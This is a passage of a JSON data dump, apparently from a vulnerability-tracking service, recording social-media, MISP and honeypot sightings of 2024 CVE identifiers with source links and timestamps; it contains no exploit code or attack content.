"CVE-2024-40891", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lhq4wr4ryc2g", "content": "", "creation_timestamp": "2025-02-09T07:41:56.243171Z"}, {"uuid": "b8ee5d2a-9048-44ee-bf18-033071c1df9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40890", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lhq5c2em2c2g", "content": "", "creation_timestamp": "2025-02-09T07:48:13.120527Z"}, {"uuid": "ac11f107-9230-4642-84c1-68da1095d035", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lhq5c2em2c2g", "content": "", "creation_timestamp": "2025-02-09T07:48:13.207730Z"}, {"uuid": "0aeba283-4db4-4493-ab71-f33120cfdc23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4012", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhulsxx23n22", "content": "", "creation_timestamp": "2025-02-11T02:18:47.728353Z"}, {"uuid": "6e826774-0495-4938-8ff6-1d752263e7d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40584", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113986226684431983", "content": "", "creation_timestamp": "2025-02-11T16:36:29.734935Z"}, {"uuid": "1736a7be-ca09-4f1f-8e3a-f436c2f1a071", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40586", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113986226698718423", "content": "", "creation_timestamp": "2025-02-11T16:36:29.848903Z"}, {"uuid": "20833d21-fa6e-48ae-834c-949cf747a636", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40591", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113986285700594891", "content": "", "creation_timestamp": "2025-02-11T16:51:29.948827Z"}, {"uuid": "2094c04e-9ddd-421a-9638-3a7227841795", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40591", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhw5ydxery2s", "content": "", "creation_timestamp": "2025-02-11T17:16:35.124849Z"}, {"uuid": "c2972ea8-4e7f-45c6-babc-a310369b3c5f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40584", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhw5y63pwd2s", "content": "", "creation_timestamp": "2025-02-11T17:16:28.985454Z"}, {"uuid": "102e7b4b-93a9-405d-b20c-bae3206202de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40586", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhw5yb6lwl2x", "content": "", "creation_timestamp": "2025-02-11T17:16:32.265784Z"}, {"uuid": "e27c2e5f-fd22-4fb7-bfb5-0d6598ae1324", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40586", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113986497919466758", "content": "", "creation_timestamp": "2025-02-11T17:45:28.888006Z"}, {"uuid": "57dbe677-f81f-4a8a-a14a-49d038555184", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40585", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113986497919466758", "content": "", "creation_timestamp": "2025-02-11T17:45:28.942695Z"}, {"uuid": "116b9c04-daaa-4c98-9352-b89486a850bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40584", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113986497919466758", "content": "", "creation_timestamp": "2025-02-11T17:45:29.216683Z"}, {"uuid": "7fa89e17-0594-4db2-973a-4480783ef7a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40591", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113986497919466758", "content": "", "creation_timestamp": "2025-02-11T17:45:29.327311Z"}, {"uuid": "478776b2-013d-482a-b16d-9cdc96978dcf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40584", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lhwbkap75422", "content": "", "creation_timestamp": "2025-02-11T18:20:17.581600Z"}, {"uuid": "3adcf702-1a0e-48f1-be5a-231669dce179", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40586", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lhwbkasxiu2n", "content": "", "creation_timestamp": "2025-02-11T18:20:18.123659Z"}, {"uuid": "e8cd2bcb-78bb-42aa-a6fd-6f1f24a85aaa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40890", "type": "seen", "source": "https://bsky.app/profile/aakl.bsky.social/post/3lhwdpg4ohc2i", "content": "", "creation_timestamp": "2025-02-11T18:58:59.900852Z"}, {"uuid": "6edb4bf6-dad4-40d6-a3a2-dbf2d203068c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://bsky.app/profile/aakl.bsky.social/post/3lhwdpg4ohc2i", "content": "", "creation_timestamp": "2025-02-11T18:58:59.976409Z"}, {"uuid": "2039bb20-770e-4bcf-91bd-c05d1aecd438", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40890", "type": "seen", "source": "https://bsky.app/profile/aakl.bsky.social/post/3lhwdpg4ohd2i", "content": "", "creation_timestamp": "2025-02-11T18:59:00.934779Z"}, {"uuid": "0b5b1129-ddbb-48cd-9b91-7289bd641ad9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://bsky.app/profile/aakl.bsky.social/post/3lhwdpg4ohd2i", "content": "", "creation_timestamp": "2025-02-11T18:59:00.988635Z"}, {"uuid": "49b9b9d6-1ed2-4092-aece-e46fd6e1165f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40890", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/3318897", "content": "", "creation_timestamp": "2025-02-11T19:18:08.569351Z"}, {"uuid": "2a6e3e9b-dc94-4582-b47e-cf8c18e3729a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/3318898", "content": "", "creation_timestamp": "2025-02-11T19:18:10.372660Z"}, {"uuid": "bc124cac-af2b-48e2-8ef0-f9d7b7d76036", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40890", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113986875105156497", "content": "", "creation_timestamp": "2025-02-11T19:21:24.325875Z"}, {"uuid": "45f63655-0428-48fd-aae8-2e9287b4e154", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113986875105156497", "content": "", "creation_timestamp": "2025-02-11T19:21:24.378325Z"}, {"uuid": "4d899180-f852-4c00-bd5d-f5ab0e778df2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://bsky.app/profile/tmjintel.bsky.social/post/3lhwhtxfoek2f", "content": "", "creation_timestamp": "2025-02-11T20:13:05.432110Z"}, {"uuid": "52f10f17-4b62-4d3f-909b-6f058f484efa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40890", "type": "seen", "source": "https://bsky.app/profile/tmjintel.bsky.social/post/3lhwhtxfoek2f", "content": "", "creation_timestamp": "2025-02-11T20:13:05.494348Z"}, {"uuid": "1c530186-c943-44ad-a872-385cd9ad262a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40890", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-02-11T21:10:02.000000Z"}, {"uuid": "03098c55-9be0-4a4e-86bd-789c526397b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-02-11T21:10:03.000000Z"}, {"uuid": "805a8793-888d-4a76-baba-d2ccbd14a89b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:11:03.000000Z"}, {"uuid": "f1d26e6c-44de-4b3c-a672-8e087f63c56d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4009", "type": "seen", "source": "https://bsky.app/profile/cyberalerts.bsky.social/post/3llfbap247p24", "content": "", "creation_timestamp": "2025-03-27T21:40:27.413649Z"}, {"uuid": "4d51b976-c4f4-46d0-ab27-06e6c63fba45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lhy64f2p5c2a", "content": "", "creation_timestamp": "2025-02-12T12:24:10.752112Z"}, {"uuid": "48f2d22d-f282-4686-a707-0ea631f87a29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40890", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lhy64f2p5c2a", "content": "", "creation_timestamp": "2025-02-12T12:24:10.836653Z"}, {"uuid": "3f1b00d8-36ba-4d51-8813-cb44e6460943", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40890", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lhz32db7lf24", "content": "", "creation_timestamp": "2025-02-12T21:02:02.199510Z"}, {"uuid": "14182645-d175-439d-b42f-e738e33b8fc2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lhz32df7lh23", "content": "", "creation_timestamp": "2025-02-12T21:02:02.815483Z"}, {"uuid": "5edf10c2-e6b4-4ccb-bab6-fb7c7b2ef052", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40887", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhz7cz4j472i", "content": "", "creation_timestamp": "2025-02-12T22:18:25.765425Z"}, {"uuid": "6ada7c74-33d0-4e0c-8ca6-9be06416cff3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40887", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113993803289587801", "content": "", "creation_timestamp": "2025-02-13T00:43:19.287659Z"}, {"uuid": "8090c464-9162-4439-bf37-4a93ffde761f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40890", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3ljkk3nrarnc2", "content": "", "creation_timestamp": "2025-03-04T13:11:45.935727Z"}, {"uuid": "d3e955c5-f1ba-4c7a-bb9c-82c5420d9537", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://bsky.app/profile/cecallihelper.bsky.social/post/3li2opy5lts2e", "content": "", "creation_timestamp": "2025-02-13T12:26:53.582683Z"}, {"uuid": "02f350e1-8b00-4e97-acf4-194b684a6f50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40890", "type": "seen", "source": "https://bsky.app/profile/cecallihelper.bsky.social/post/3li2opy5lts2e", "content": "", "creation_timestamp": "2025-02-13T12:26:53.659960Z"}, {"uuid": "9202c40c-4efd-4d1e-8fbf-0da9e6b4c202", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40591", "type": "seen", "source": "https://bsky.app/profile/hackread.bsky.social/post/3li2qlzf7is2o", "content": "", "creation_timestamp": "2025-02-13T13:00:22.555593Z"}, {"uuid": "639b69af-c5a5-4f70-83d3-e740aad3d4d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "seen", "source": "https://bsky.app/profile/chudypb.bsky.social/post/3lks7sewez224", "content": "", "creation_timestamp": "2025-03-20T07:54:00.228325Z"}, {"uuid": "19ae2c87-5209-4710-bd0f-abac538c0ee3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40591", "type": "seen", "source": "https://bsky.app/profile/dragstersystems.bsky.social/post/3li6bn5gvec2x", "content": "", "creation_timestamp": "2025-02-14T22:43:15.315418Z"}, {"uuid": "bd6cfb8a-2410-42eb-af26-3ff9502766d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40591", "type": "seen", "source": "https://bsky.app/profile/elhacker.net/post/3li7hicfhni2v", "content": "", "creation_timestamp": "2025-02-15T10:00:32.299401Z"}, {"uuid": "4210fe18-8bfe-434f-b726-f0dec55f9ff4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40762", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2025-0004", "content": "", "creation_timestamp": "2025-02-18T07:09:28.000000Z"}, {"uuid": "aaac8659-f118-4438-896f-f5921c739a66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4028", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lihul5aitt2o", "content": "", "creation_timestamp": "2025-02-18T18:16:03.466096Z"}, {"uuid": "ee1e9253-e8a8-4c74-9b96-5d652a97d772", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-02-18)", "content": "", "creation_timestamp": "2025-02-18T00:00:00.000000Z"}, {"uuid": "64e4bfe0-b8d8-41ac-91a8-8e8432ff84e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-02-18)", "content": "", "creation_timestamp": "2025-02-18T00:00:00.000000Z"}, {"uuid": "d6908679-a8b4-4f9c-8b0b-ec75584b7358", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40762", "type": "seen", "source": "https://bsky.app/profile/nihonmatsu.bsky.social/post/3lijoihtges23", "content": "", "creation_timestamp": "2025-02-19T11:32:31.348634Z"}, {"uuid": "15f64959-9308-40fe-b157-42be7fe919b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40628", "type": "seen", "source": "https://bsky.app/profile/cyberalerts.bsky.social/post/3lla4xbxug42p", "content": "", "creation_timestamp": "2025-03-25T20:40:18.898099Z"}, {"uuid": "d7f682f5-5316-42b2-be1c-0d118bc4ebdb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40629", "type": "seen", "source": "https://bsky.app/profile/cyberalerts.bsky.social/post/3lla4xdhvqp2g", "content": "", "creation_timestamp": "2025-03-25T20:40:20.556946Z"}, {"uuid": "b5e8356d-419a-4349-a01f-9ab7d25b79d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40890", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-02-23T02:11:05.000000Z"}, {"uuid": "1437d1da-a4c0-43ba-88a8-fb9db4a60e5f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40890", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-80e54043-db8f11a3e9621a39", "content": "", "creation_timestamp": "2025-03-08T21:28:19.330023Z"}, {"uuid": "789c68d5-8aa3-4f33-8dd7-700ceaa89e49", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-02-23T02:10:54.000000Z"}, {"uuid": "42f0daab-8cda-48b9-9501-6b429f5e41ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3lksk7jsovd2u", "content": "", "creation_timestamp": "2025-03-20T11:00:16.960483Z"}, {"uuid": "cd0b0beb-606a-4d9b-8eef-bd62648091fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-02-23T02:10:59.000000Z"}, {"uuid": "5ad38d71-d630-4c2e-8c3c-b47a67f255e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-02-23T02:11:00.000000Z"}, {"uuid": "cd53e20f-8254-420b-990d-81ba43fd791d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40590", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lke2qglnd72x", "content": "", "creation_timestamp": "2025-03-14T16:46:11.993268Z"}, {"uuid": "645e91ea-4b3f-4ac8-ab16-ef23c2625630", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-02-23T02:11:05.000000Z"}, {"uuid": "c1f28d3a-72af-4e81-b13b-d605ff88a7b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40890", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lk6mo6iclbu2", "content": "", "creation_timestamp": "2025-03-12T12:53:58.721689Z"}, {"uuid": "b963722c-8e53-433f-b715-d0ad26091d44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lk6mo6iclbu2", "content": "", "creation_timestamp": "2025-03-12T12:53:58.814344Z"}, {"uuid": "4eace6ca-5d39-4e31-8a55-c061359ad2a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40585", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/114162103566286961", "content": "", "creation_timestamp": "2025-03-14T18:04:18.026793Z"}, {"uuid": "18099a90-cb2b-4362-ad0e-68e7d3bbe620", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40590", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/114162103566286961", "content": "", "creation_timestamp": "2025-03-14T18:04:18.091266Z"}, {"uuid": "5f58a537-00d4-43f4-9edc-f48563041683", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "seen", "source": "https://bsky.app/profile/codewhitesec.bsky.social/post/3llhaof4z3s24", "content": "", "creation_timestamp": "2025-03-28T16:35:33.124975Z"}, {"uuid": "10fa9df0-9fb5-4453-925a-7e35f7f51027", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40763", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/114630758690927812", "content": "", "creation_timestamp": "2025-06-05T12:29:27.572396Z"}, {"uuid": "703cc584-8006-4e53-b859-42bbc3668a17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4007", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3llzctf2hhr23", "content": "", "creation_timestamp": "2025-04-04T21:02:06.820507Z"}, {"uuid": "5396e1f2-c7f7-407c-8bee-35f59a481e0b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://bsky.app/profile/bolhasec.com/post/3lm6pfdwlih2k", "content": "", "creation_timestamp": "2025-04-07T00:30:10.311501Z"}, {"uuid": "f1ad5587-5214-41e3-b9e0-565628e29dc9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40114", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lqn5f6kkv7y2", "content": "", "creation_timestamp": "2025-06-02T16:00:08.031740Z"}, {"uuid": "a4cfef9c-d4c6-4146-beba-1aeca14e5c4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40113", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lqn5eyrjl3s2", "content": "", "creation_timestamp": "2025-06-02T16:00:05.154620Z"}, {"uuid": "35f427b4-4fef-47a6-83e3-c51a4c90f594", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40112", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lqn5eyhnfoc2", "content": "", "creation_timestamp": "2025-06-02T16:00:05.732040Z"}, {"uuid": "e0e4dc70-a921-4a9a-927a-bba2941cb50c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4071", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lmzyvyxhcj2e", "content": "", "creation_timestamp": "2025-04-17T21:02:34.828115Z"}, {"uuid": "d4b1f22d-2e0c-40ca-ad16-408d8725fa54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40896", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/114360724984751686", "content": "", "creation_timestamp": "2025-04-18T19:56:20.393522Z"}, {"uuid": "a3d06850-e038-472b-a12f-4fc64509dd25", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40446", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lnfxbnjwip2r", "content": "", "creation_timestamp": "2025-04-22T15:05:06.165215Z"}, {"uuid": "dc3b5fef-13bc-4b0d-820b-310608d424cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40445", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lnfxbodkrj2b", "content": "", "creation_timestamp": "2025-04-22T15:05:07.237204Z"}, {"uuid": "eb727487-2a9b-47bd-bd64-bd54e865c12a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 